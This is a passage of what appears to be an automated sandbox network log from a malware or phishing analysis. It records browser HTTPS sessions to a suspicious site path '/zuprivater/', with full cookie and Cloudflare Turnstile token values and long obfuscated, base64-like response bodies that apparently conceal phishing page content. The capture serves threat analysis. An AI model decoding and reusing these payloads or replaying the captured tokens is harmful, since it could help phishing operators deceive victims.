Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ; cf_clearance=h7tWXbhCRfnXbpz8GEt2B2qy5f.Ck1el8SpcwIwGaW0-1727788092-1.2.1.1-pAuzedtMNKEaiyALAK2Lq_CWg2cfZCCbyIYtd7klccux5JiB6KQWqVKueU.fb0W94jUKaFWcKUJ9HS_UyXM7AYgs0zMGxjqxwD.csAT8YH5lQsGL3qqXtCL_iREdUbAP.6eg6BqKfAvs0P2k7xUkAYGf4vQDMEf.gqgDw6gttvCdL7V7gAoYf.ffVfcBrl6s.iYJmTOxlyRpQW9Q48OCT0F.DPXBOyrMgyMS3ql4CodIht77UsSTcmwtPLQri2LQOg5v9NO_3pKZMEavix3FXKfrMwnFguoRd1ZsWMBQFAzJOLlY0zjZpdzT9IzJ47wjsAxBbjYWOPkaefPRf.wiy9lA2lhAXPf90lKk6YipggZyySiGG38W193POOCIAJgW
2024-10-01 13:08:21 UTC	884	OUT	Data Raw: 73 65 63 3d 30 78 34 41 41 41 41 41 41 41 6a 46 54 4e 4b 67 59 59 46 2d 6f 57 64 43 6b 48 78 74 72 5a 57 69 65 54 59 27 26 74 6f 6b 65 6e 3d 30 2e 44 58 63 48 42 54 6e 6c 50 50 74 37 64 70 59 55 63 4e 61 4d 69 62 48 50 7a 54 42 4c 41 58 39 55 47 35 61 47 70 76 67 65 53 54 74 66 6c 63 6f 45 4a 58 36 6c 58 6c 35 6c 55 55 4c 73 79 41 52 4f 54 50 6e 47 6d 6e 6f 5a 5f 6f 63 4f 48 36 43 50 63 74 79 32 4d 4b 2d 4a 46 43 70 74 74 54 52 4f 65 6b 2d 5f 79 32 53 38 6a 42 77 50 49 37 53 36 46 72 47 78 2d 6d 38 6d 55 51 31 53 53 6b 6a 41 4b 66 53 7a 37 53 2d 64 54 54 46 52 57 62 4e 4d 36 6d 49 59 43 34 69 34 5a 6f 44 58 46 48 63 51 50 58 30 52 39 37 63 37 34 5f 4a 57 4f 32 4d 72 62 77 58 35 4d 59 4e 6d 50 55 71 61 5a 6a 6a 5a 4c 51 55 78 46 69 32 31 6d 34 32 4d 59 45 Data Ascii: sec=0x4AAAAAAAjFTNKgYYF-oWdCkHxtrZWieTY'&token=0.DXcHBTnlPPt7dpYUcNaMibHPzTBLAX9UG5aGpvgeSTtflcoEJX6lXl5lUULsyAROTPnGmnoZ_ocOH6CPcty2MK-JFCpttTROek-_y2S8jBwPI7S6FrGx-m8mUQ1SSkjAKfSz7S-dTTFRWbNM6mIYC4i4ZoDXFHcQPX0R97c74_JWO2MrbwX5MYNmPUqaZjjZLQUxFi21m42MYE
2024-10-01 13:08:22 UTC	829	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-XSS-Protection: 1; mode=block Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qp8RbUb%2FUVFTV2uSS4stqbvwDYx99oK%2FxXACufJt%2Bc7pn5PSc1t2Ot4zTpPlrlbHnz7H2BZWvQIUMqe13BG2cXCr63SUoHk64766KfD%2FxPiaPdtRafNI2w4G2ojdLnhCWA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cbcae546cbb0f7d-EWR
2024-10-01 13:08:22 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-10-01 13:08:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	49763	104.21.11.126	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:23 UTC	1551	OUT	GET /zuprivater/Xdrrwwipj/admin/lifeattach HTTP/1.1 Host: gtekuvvait.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1VugxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ; cf_clearance=h7tWXbhCRfnXbpz8GEt2B2qy5f.Ck1el8SpcwIwGaW0-1727788092-1.2.1.1-pAuzedtMNKEaiyALAK2Lq_CWg2cfZCCbyIYtd7klccux5JiB6KQWqVKueU.fb0W94jUKaFWcKUJ9HS_UyXM7AYgs0zMGxjqxwD.csAT8YH5lQsGL3qqXtCL_iREdUbAP.6eg6BqKfAvs0P2k7xUkAYGf4vQDMEf.gqgDw6gttvCdL7V7gAoYf.ffVfcBrl6s.iYJmTOxlyRpQW9Q48OCT0F.DPXBOyrMgyMS3ql4CodIht77UsSTcmwtPLQri2LQOg5v9NO_3pKZMEavix3FXKfrMwnFguoRd1ZsWMBQFAzJOLlY0zjZpdzT9IzJ47wjsAxBbjYWOPkaefPRf.wiy9lA2lhAXPf90lKk6YipggZyySiGG38W193POOCIAJgW
2024-10-01 13:08:25 UTC	1044	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-XSS-Protection: 1; mode=block Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=59af271c130d7fcd9b183463b4579638; path=/ Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s9%2FnJbAMvkd%2FX%2BLWC4HstK1a7FLCfC8e3rwm97XwEOGo4eTmJuwN8BuBioPPbXBqg5MGEldpBb5HjsQUSy3Kpxqk71ggqZ4Jinb7jHXn25JeH9ugwJUFIOKxFGxFzuV6Vw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cbcae5faeab4370-EWR
2024-10-01 13:08:25 UTC	325	IN	Data Raw: 64 35 34 0d 0a 55 64 55 53 34 39 30 56 33 46 6a 56 73 6c 6b 65 69 5a 6c 53 79 46 32 61 31 6f 55 5a 46 56 54 61 61 64 46 62 76 4a 31 61 78 49 55 59 47 70 46 54 6c 5a 6c 54 75 4e 47 4d 6f 4e 31 55 36 5a 46 53 58 68 45 5a 54 52 47 56 6f 4a 6a 57 58 68 6d 64 6a 70 6d 53 7a 45 31 56 53 52 6c 59 74 52 48 53 52 4e 54 52 34 45 47 53 53 52 6e 59 44 4a 30 63 5a 64 56 4e 75 42 31 55 4b 78 6d 59 70 6c 30 4b 44 70 47 65 76 70 31 56 47 74 47 55 6e 39 47 4f 6a 4e 6a 55 31 49 32 52 56 64 57 59 58 46 56 4f 4a 31 6d 55 73 70 56 62 47 46 6a 59 49 4a 6c 5a 5a 4e 6a 54 36 6c 6b 61 31 38 47 5a 48 46 7a 63 6c 4a 6a 57 32 4a 6d 62 52 52 6e 57 74 5a 45 64 68 64 46 65 31 38 6b 62 4f 68 6d 59 75 31 45 64 6a 4a 6a 56 35 46 32 56 5a 64 44 54 58 46 6a 65 4d 68 6c 55 73 56 47 53 52 52 Data Ascii: d54UdUS490V3FjVslkeiZlSyF2a1oUZFVTaadFbvJ1axIUYGpFTlZlTuNGMoN1U6ZFSXhEZTRGVoJjWXhmdjpmSzE1VSRlYtRHSRNTR4EGSSRnYDJ0cZdVNuB1UKxmYpl0KDpGevp1VGtGUn9GOjNjU1I2RVdWYXFVOJ1mUspVbGFjYIJlZZNjT6lka18GZHFzclJjW2JmbRRnWtZEdhdFe18kbOhmYu1EdjJjV5F2VZdDTXFjeMhlUsVGSRR
2024-10-01 13:08:25 UTC	1369	IN	Data Raw: 6a 4e 54 55 32 30 45 56 42 64 6e 53 59 46 54 61 69 4a 6a 55 31 55 6d 4d 78 67 32 59 74 52 47 63 69 70 32 62 33 5a 32 56 47 6c 48 5a 48 78 6d 61 69 64 55 56 7a 6c 46 57 4f 42 6e 57 48 56 31 63 61 64 6b 56 77 6b 31 56 73 4e 33 59 35 68 58 62 68 64 46 5a 71 6c 46 57 43 42 54 59 58 6c 54 64 4d 64 6b 57 77 70 31 4d 57 6c 6e 57 54 68 58 62 69 4a 54 4f 77 6f 46 57 4a 4e 58 59 48 5a 46 61 61 64 6b 56 35 78 30 52 6f 35 32 59 74 6c 54 4d 6a 4e 45 65 30 6c 31 56 73 56 48 54 48 46 44 62 69 35 57 56 7a 4a 57 62 47 4a 44 54 49 35 45 62 5a 4e 6a 55 77 4a 6d 4d 30 4d 33 59 7a 59 46 64 69 64 6c 52 35 56 47 57 30 74 57 59 59 35 30 64 69 64 6b 52 31 38 55 62 4b 4e 6e 59 79 34 6b 63 6d 64 6c 52 78 6f 31 52 73 5a 48 54 48 35 45 61 69 35 6d 57 6f 4e 57 65 34 64 33 59 74 6c 6a Data Ascii: jNTU20EVBdnSYFTaiJjU1UmMxg2YtRGcip2b3Z2VGlHZHxmaidUVzlFWOBnWHV1cadkVwk1VsN3Y5hXbhdFZqlFWCBTYXlTdMdkWwp1MWlnWThXbiJTOwoFWJNXYHZFaadkV5x0Ro52YtlTMjNEe0l1VsVHTHFDbi5WVzJWbGJDTI5EbZNjUwJmM0M3YzYFdidlR5VGW0tWYY50didkR18UbKNnYy4kcmdlRxo1RsZHTH5Eai5mWoNWe4d3Ytlj
2024-10-01 13:08:25 UTC	1369	IN	Data Raw: 78 47 54 49 35 45 61 69 68 6c 51 33 6f 56 62 35 55 48 5a 44 46 54 62 5a 64 56 4d 77 4a 47 53 72 5a 6a 59 58 6c 54 64 69 4e 6a 54 33 6c 31 56 4f 78 47 54 48 46 6a 64 69 31 57 4f 36 4e 32 52 47 70 6d 57 55 52 58 62 69 4a 54 4e 77 77 45 57 4f 42 58 5a 74 56 6c 4e 4e 64 6c 56 30 5a 32 56 4b 46 44 5a 49 4a 6c 64 69 6c 47 65 77 4a 6d 62 43 46 44 5a 44 68 6e 64 6a 68 6b 55 75 4e 57 62 35 45 7a 59 44 68 6e 65 61 64 46 65 73 6c 31 4d 52 4e 48 5a 48 5a 46 4e 6b 64 6b 52 35 70 31 56 47 64 54 57 79 6b 7a 63 69 4e 54 53 32 45 32 56 31 38 6d 57 59 70 45 63 6b 52 45 64 74 4a 6d 4d 31 41 7a 54 74 78 57 64 68 64 6b 56 35 46 47 57 52 64 6a 59 58 5a 55 65 61 4a 44 62 31 39 6b 61 43 6c 54 57 75 5a 46 4d 6b 64 55 4f 31 56 6d 4d 35 49 6a 57 59 70 55 62 69 64 55 4f 7a 38 6b 62 Data Ascii: xGTI5EaihlQ3oVb5UHZDFTbZdVMwJGSrZjYXlTdiNjT3l1VOxGTHFjdi1WO6N2RGpmWURXbiJTNwwEWOBXZtVlNNdlV0Z2VKFDZIJldilGewJmbCFDZDhndjhkUuNWb5EzYDhneadFesl1MRNHZHZFNkdkR5p1VGdTWykzciNTS2E2V18mWYpEckREdtJmM1AzTtxWdhdkV5FGWRdjYXZUeaJDb19kaClTWuZFMkdUO1VmM5IjWYpUbidUOz8kb
2024-10-01 13:08:25 UTC	356	IN	Data Raw: 44 62 77 77 45 57 4f 78 57 57 59 70 6b 61 68 4e 55 4d 71 6c 31 56 31 6f 6d 57 58 64 48 64 5a 35 6d 56 77 51 32 52 35 55 48 54 48 78 57 64 6a 68 6b 56 77 63 31 4d 53 56 7a 59 48 56 56 4f 6a 4a 6a 56 6f 4e 57 62 4f 39 47 57 55 39 6d 4e 4d 68 46 5a 73 6c 56 62 30 42 48 5a 44 46 6a 65 61 64 6c 52 35 6c 6c 4d 6e 52 6e 57 48 5a 6c 61 69 4e 6a 53 6f 52 32 52 73 5a 6e 59 75 4e 48 64 6b 4a 6a 56 70 46 6d 4d 73 42 44 54 58 5a 30 64 6a 64 6b 56 6f 4e 57 62 47 56 58 57 79 55 6c 4e 69 31 57 4f 31 70 46 57 78 30 57 59 58 5a 31 63 61 68 6b 54 73 52 47 53 30 6c 6d 59 7a 6f 30 61 61 68 56 53 32 30 45 57 43 52 54 53 49 35 6b 64 69 64 45 62 72 6c 45 53 4f 42 6e 59 49 70 46 62 6a 70 47 64 30 6c 46 57 4b 35 57 59 58 52 6a 4e 4e 4e 55 51 35 4e 47 53 6e 64 7a 59 48 5a 30 61 61 Data Ascii: DbwwEWOxWWYpkahNUMql1V1omWXdHdZ5mVwQ2R5UHTHxWdjhkVwc1MSVzYHVVOjJjVoNWbO9GWU9mNMhFZslVb0BHZDFjeadlR5llMnRnWHZlaiNjSoR2RsZnYuNHdkJjVpFmMsBDTXZ0djdkVoNWbGVXWyUlNi1WO1pFWx0WYXZ1cahkTsRGS0lmYzo0aahVS20EWCRTSI5kdidEbrlESOBnYIpFbjpGd0lFWK5WYXRjNNNUQ5NGSndzYHZ0aa
2024-10-01 13:08:25 UTC	1369	IN	Data Raw: 31 37 31 36 0d 0a 73 6c 46 57 30 5a 48 5a 74 5a 56 65 61 31 47 65 32 52 6d 65 77 68 47 5a 59 4a 6c 64 6d 64 56 4f 33 52 32 52 6b 6c 6e 59 7a 59 31 64 6c 4a 6a 57 32 4a 6d 62 52 52 48 5a 79 59 46 63 61 4a 44 61 77 38 6b 61 6a 64 58 54 49 46 44 4d 5a 64 6c 53 7a 70 46 57 30 6c 6d 59 7a 6f 30 61 61 68 56 53 30 6c 6c 4d 35 4d 6e 59 48 5a 30 64 6a 4a 54 56 32 6b 6c 4d 35 4d 6e 59 48 5a 30 64 6a 4a 54 56 33 6b 56 62 35 6b 6e 57 48 5a 56 65 4d 68 6c 54 33 6c 31 56 4f 42 6e 59 74 4e 6d 4e 4e 68 55 4d 77 6f 31 51 34 42 54 59 49 52 33 64 5a 64 6c 55 72 46 32 56 31 34 32 54 71 4a 55 4f 4c 35 32 63 30 52 6d 4d 57 6c 57 59 79 77 47 4d 4d 64 6c 53 32 56 32 51 78 6f 58 59 59 42 48 63 69 31 32 59 32 6b 56 62 35 6b 6e 57 48 5a 56 65 4d 64 6c 53 32 56 47 52 7a 52 6e 59 58 Data Ascii: 1716slFW0ZHZtZVea1Ge2RmewhGZYJldmdVO3R2RklnYzY1dlJjW2JmbRRHZyYFcaJDaw8kajdXTIFDMZdlSzpFW0lmYzo0aahVS0llM5MnYHZ0djJTV2klM5MnYHZ0djJTV3kVb5knWHZVeMhlT3l1VOBnYtNmNNhUMwo1Q4BTYIR3dZdlUrF2V142TqJUOL52c0RmMWlWYywGMMdlS2V2QxoXYYBHci12Y2kVb5knWHZVeMdlS2VGRzRnYX
2024-10-01 13:08:25 UTC	1369	IN	Data Raw: 65 30 4e 54 59 58 4a 46 4d 68 52 45 63 6f 52 47 57 53 5a 33 54 79 67 47 62 68 64 46 5a 76 52 47 52 77 68 47 5a 59 4a 6c 64 50 4a 54 4d 6f 4e 57 62 6b 42 6e 59 71 39 32 64 50 4a 54 4f 79 6f 46 57 4b 31 6d 59 48 6c 7a 4d 50 35 6d 57 77 4e 6d 4d 73 6c 6d 59 48 56 31 4e 5a 4a 44 65 77 4e 47 52 77 68 47 5a 59 4a 6c 64 6d 64 46 61 77 49 32 56 34 64 6a 57 74 6c 54 64 6b 4e 55 4d 36 46 47 57 77 78 32 54 71 56 30 64 4e 4e 6b 56 35 6b 56 62 35 73 57 5a 59 52 58 62 69 4a 54 4e 77 77 30 56 61 68 6d 59 58 78 32 63 6c 52 31 62 70 56 6c 4d 57 35 6d 59 79 55 31 5a 57 56 31 61 6e 5a 6c 4d 57 6c 6d 57 74 6c 54 64 6b 4e 55 53 7a 78 30 56 47 64 33 59 48 68 48 62 4d 68 6c 54 31 4d 32 4d 53 78 6d 59 54 64 58 61 54 64 6b 56 7a 52 57 62 57 42 54 59 58 35 45 61 4a 56 55 4e 73 52 Data Ascii: e0NTYXJFMhREcoRGWSZ3TygGbhdFZvRGRwhGZYJldPJTMoNWbkBnYq92dPJTOyoFWK1mYHlzMP5mWwNmMslmYHV1NZJDewNGRwhGZYJldmdFawI2V4djWtlTdkNUM6FGWwx2TqV0dNNkV5kVb5sWZYRXbiJTNww0VahmYXx2clR1bpVlMW5mYyU1ZWV1anZlMWlmWtlTdkNUSzx0VGd3YHhHbMhlT1M2MSxmYTdXaTdkVzRWbWBTYX5EaJVUNsR
2024-10-01 13:08:25 UTC	1369	IN	Data Raw: 50 35 6d 57 77 4e 6d 4d 73 42 6a 57 58 4a 31 4e 5a 4a 54 4f 7a 4a 32 4d 4a 5a 54 53 36 46 30 64 4f 70 47 5a 70 39 45 53 78 67 32 54 74 68 6d 64 6b 31 6d 56 35 56 6d 4d 4f 5a 6e 59 48 6c 54 65 50 6c 57 54 79 34 6b 61 61 6c 54 57 55 42 58 62 69 4a 6a 54 78 4d 32 4d 30 70 6d 59 79 67 6e 64 6a 70 32 62 71 31 45 52 42 4a 6a 54 79 6b 45 4e 6d 64 56 52 32 6b 31 56 4f 42 54 59 59 70 46 62 6c 4a 6a 54 32 4a 32 52 35 6b 33 54 70 31 55 4e 50 52 46 62 35 77 6b 62 53 78 57 5a 49 46 46 64 5a 4a 6a 56 31 52 32 52 57 6c 58 5a 7a 49 46 62 6c 68 55 55 30 6c 31 56 34 42 6e 57 79 51 6a 4e 5a 4a 6a 56 31 52 32 52 57 6c 6e 5a 54 56 44 4d 61 68 46 61 77 77 30 56 77 46 7a 59 7a 49 46 63 61 35 47 62 33 51 32 52 57 52 44 5a 44 46 44 61 69 64 45 62 75 4a 6d 61 77 46 48 5a 59 35 45 Data Ascii: P5mWwNmMsBjWXJ1NZJTOzJ2MJZTS6F0dOpGZp9ESxg2Tthmdk1mV5VmMOZnYHlTePlWTy4kaalTWUBXbiJjTxM2M0pmYygndjp2bq1ERBJjTykENmdVR2k1VOBTYYpFblJjT2J2R5k3Tp1UNPRFb5wkbSxWZIFFdZJjV1R2RWlXZzIFblhUU0l1V4BnWyQjNZJjV1R2RWlnZTVDMahFaww0VwFzYzIFca5Gb3Q2RWRDZDFDaidEbuJmawFHZY5E
2024-10-01 13:08:25 UTC	1369	IN	Data Raw: 4e 33 53 44 70 45 56 61 64 46 5a 32 70 31 55 43 5a 31 55 54 6c 45 63 50 4a 6a 57 32 4a 6d 62 52 52 48 5a 79 59 46 63 61 4a 44 61 77 38 6b 61 52 64 58 54 45 52 58 62 69 4a 54 4e 77 77 45 57 4f 42 54 5a 58 68 48 62 50 31 57 4e 32 4e 57 62 78 67 6d 59 49 46 54 51 61 31 57 4f 31 52 32 51 78 30 57 57 58 35 45 62 6c 4a 6a 57 32 4a 6d 62 52 52 6e 57 74 5a 45 64 68 64 46 65 31 38 55 61 6b 52 6c 57 58 52 6d 64 61 4e 6c 51 57 4e 31 55 43 68 6c 57 58 70 55 62 69 4a 54 4e 77 6f 6b 65 30 70 33 59 74 31 6b 4e 69 64 55 4f 71 6c 31 56 33 39 57 53 73 35 45 62 61 4a 54 4f 73 6c 6b 52 57 70 55 53 47 35 45 62 69 64 46 62 70 4a 6d 4d 34 74 57 53 70 74 32 4e 61 31 57 4f 31 52 32 51 78 4d 6a 57 58 78 6d 62 68 68 55 55 32 34 6b 61 42 64 33 54 79 6f 6c 64 69 35 57 55 30 4e 32 4d Data Ascii: N3SDpEVadFZ2p1UCZ1UTlEcPJjW2JmbRRHZyYFcaJDaw8kaRdXTERXbiJTNwwEWOBTZXhHbP1WN2NWbxgmYIFTQa1WO1R2Qx0WWX5EblJjW2JmbRRnWtZEdhdFe18UakRlWXRmdaNlQWN1UChlWXpUbiJTNwoke0p3Yt1kNidUOql1V39WSs5EbaJTOslkRWpUSG5EbidFbpJmM4tWSpt2Na1WO1R2QxMjWXxmbhhUU24kaBd3Tyoldi5WU0N2M
2024-10-01 13:08:25 UTC	442	IN	Data Raw: 30 5a 33 49 32 56 47 52 44 54 58 68 47 62 68 64 46 5a 76 52 47 52 76 68 6e 54 54 52 54 65 50 52 55 54 31 34 45 57 4b 78 6d 59 59 42 54 64 6b 64 6b 56 30 51 32 51 78 38 6d 57 58 5a 30 61 69 64 45 62 31 70 31 55 31 41 6a 57 59 68 47 4d 4d 64 56 4d 6f 56 32 52 34 42 6e 59 74 5a 6c 65 4d 52 6c 55 33 49 32 56 47 52 44 54 58 68 47 62 68 64 46 5a 76 52 47 52 76 70 58 54 71 46 56 64 4f 52 6c 55 33 56 47 52 30 52 58 57 59 64 47 64 68 64 6b 56 77 70 6c 4d 6f 42 7a 54 71 6c 30 64 4d 70 57 53 30 30 6b 65 72 46 7a 59 74 5a 46 64 6d 4e 56 4e 77 6f 46 57 6f 42 44 54 58 68 47 62 5a 64 6c 55 73 4e 57 61 34 39 57 54 59 52 58 62 69 4a 54 4e 77 77 45 57 4f 42 58 5a 74 56 6c 4e 4f 52 6b 57 33 56 47 52 30 4e 58 59 58 56 44 62 4d 64 46 61 73 46 32 56 6b 39 47 5a 45 39 57 4d 4f Data Ascii: 0Z3I2VGRDTXhGbhdFZvRGRvhnTTRTePRUT14EWKxmYYBTdkdkV0Q2Qx8mWXZ0aidEb1p1U1AjWYhGMMdVMoV2R4BnYtZleMRlU3I2VGRDTXhGbhdFZvRGRvpXTqFVdORlU3VGR0RXWYdGdhdkVwplMoBzTql0dMpWS00kerFzYtZFdmNVNwoFWoBDTXhGbZdlUsNWa49WTYRXbiJTNwwEWOBXZtVlNORkW3VGR0NXYXVDbMdFasF2Vk9GZE9WMO
2024-10-01 13:08:25 UTC	1369	IN	Data Raw: 32 61 38 39 0d 0a 58 59 48 5a 46 61 61 64 6b 56 35 78 6b 62 53 78 57 5a 49 46 46 64 69 64 6c 52 30 49 32 52 73 56 6e 57 59 31 45 64 4e 4e 46 65 76 31 30 55 31 41 6a 57 59 68 47 4d 4d 64 56 4d 6f 56 32 52 34 42 6e 59 74 5a 6c 65 4d 52 6c 52 33 51 6d 4d 6f 42 48 5a 48 56 46 64 6a 4e 6a 51 6f 6c 6c 4d 56 5a 6a 59 74 6c 7a 4d 6a 31 6d 52 33 39 30 4d 53 78 57 5a 49 46 46 64 69 4e 6a 57 73 4e 57 62 61 4e 6e 59 7a 4d 6d 4e 61 64 46 65 7a 46 47 57 43 70 58 59 59 31 30 4e 69 64 6c 52 30 77 30 56 6f 78 57 59 58 52 32 62 6b 52 30 62 79 30 55 61 30 4d 54 54 7a 49 45 4e 50 4a 54 4d 6f 56 32 51 78 38 6d 57 58 78 6d 62 68 68 55 55 32 30 55 65 30 55 54 54 71 46 6b 65 4f 68 6c 53 73 4a 47 57 77 55 48 5a 48 5a 46 4e 6b 4e 55 4d 76 70 31 56 47 74 6d 57 59 6c 55 64 6b 64 6b Data Ascii: 2a89XYHZFaadkV5xkbSxWZIFFdidlR0I2RsVnWY1EdNNFev10U1AjWYhGMMdVMoV2R4BnYtZleMRlR3QmMoBHZHVFdjNjQollMVZjYtlzMj1mR390MSxWZIFFdiNjWsNWbaNnYzMmNadFezFGWCpXYY10NidlR0w0VoxWYXR2bkR0by0Ua0MTTzIENPJTMoV2Qx8mWXxmbhhUU20Ue0UTTqFkeOhlSsJGWwUHZHZFNkNUMvp1VGtmWYlUdkdk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49764	104.21.11.126	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:23 UTC	774	OUT	GET /zuprivater/Xdrrwwipj/uysfdiv0928e374.php HTTP/1.1 Host: gtekuvvait.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ
2024-10-01 13:08:24 UTC	845	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-XSS-Protection: 1; mode=block Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9yTEp7dOAZ1AVoKtU1qYIPSIlq2dLLktsih%2BTs5s%2FzM6VliYBmbqO9RdcRqweKxLJlMUMPS1kDKASy1l7kYjYtCrpeJbutUjKuUeZIlPd4mGW33gITgPR2UF8QeqytOtJg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cbcae5fec524207-EWR
2024-10-01 13:08:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	49769	151.101.65.229	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:27 UTC	541	OUT	GET /npm/axios/dist/axios.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://gtekuvvait.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:27 UTC	757	IN	HTTP/1.1 200 OK Connection: close Content-Length: 54147 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=604800, s-maxage=43200 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 1.7.7 X-JSD-Version-Type: version ETag: W/"d383-UevtiR1Ub6VyiQ12MPIw3BrQgvI" Accept-Ranges: bytes Age: 20155 Date: Tue, 01 Oct 2024 13:08:27 GMT X-Served-By: cache-fra-etou8220107-FRA, cache-nyc-kteb1890075-NYC X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: 